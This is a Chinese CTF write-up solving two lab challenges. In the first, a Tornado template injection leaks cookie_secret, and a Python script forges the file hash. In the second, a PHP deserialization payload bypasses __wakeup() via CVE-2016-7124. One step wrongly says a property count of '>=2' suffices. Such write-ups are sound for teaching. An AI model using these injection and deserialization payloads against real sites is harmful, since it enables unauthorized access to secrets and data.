一、[护网杯 2018]easy_tornado
题目提示为tornado的模板注入
打开提示文件,发现访问文件需要文件名和文件哈希
hint.txt
提示了filehash
的计算公式,而cookie_secret
未知
flag.txt
提示了flag的目录
尝试访问flag,随便给一个哈希值,查看报错情况
这里确实是tornado的模板注入,构造变量
msg={
{
handler.settings}}
得到了cookie_secret
,可以计算md5了
由于tornado是基于Python,因此选用Python完成md5加密
以下是Python3代码:
import hashlib
cookie_secret = 'd82987f7-d38a-4b13-9487-2681dd17c8cc'
filename = '/fllllllllllllag'
#filename部分
result = hashlib.md5()
result.update(filename.encode('utf-8'))
r1=result.hexdigest()
#全部
result = hashlib.md5()
result.update((cookie_secret+r1).encode('utf-8'))
print(result.hexdigest())
访问即可得到FLAG
二、[极客大挑战 2019]PHP(CVE-2016-7124)
访问环境,提示网页有备份
尝试多次,如.bak后,发现是www.zip
,下载
阅读class.php
和index.php
文件
这是一道反序列化的题目,首先需要通过给select
赋值一个序列化对象
该对象类名叫Name
,此对象包含username=admin
和password=100
但是在赋值后有__wakeup()
函数会改变username
的值,因此需要绕过__wakeup()
方法
PHP漏洞CVE-2016-7124:
若在对象的魔法函数中存在的__wakeup()
方法,那么之后再调用 unserilize()
方法进行反序列化之前则会先调用__wakeup()
方法,但是序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup()
的执行
编写PHP代码如下:
<?php
class Name{
private $username = "admin";
private $password = 100;
}
$Name = new Name;
echo serialize($Name);
?>
获得序列化结果
O:4:"Name":2:{
s:14:" Name username";s:5:"admin";s:14:" Name password";i:100;}
序列化对象构成如下:
O:类名长度:类名:变量个数:{s:变量1名长度:变量1名;s:变量1值长度:变量1值(str);s:变量2名长度:变量2名;i:变量2值(int);......}
需要对以下内容修改:
- 更改变量个数>=2,为了绕过
__wakeup()
- 将变量名的空格修改为%00,为了URL编码空格
?select=O:4:"Name":3:{
s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
GET即可得到得到FLAG
完
欢迎在评论区留言
感谢浏览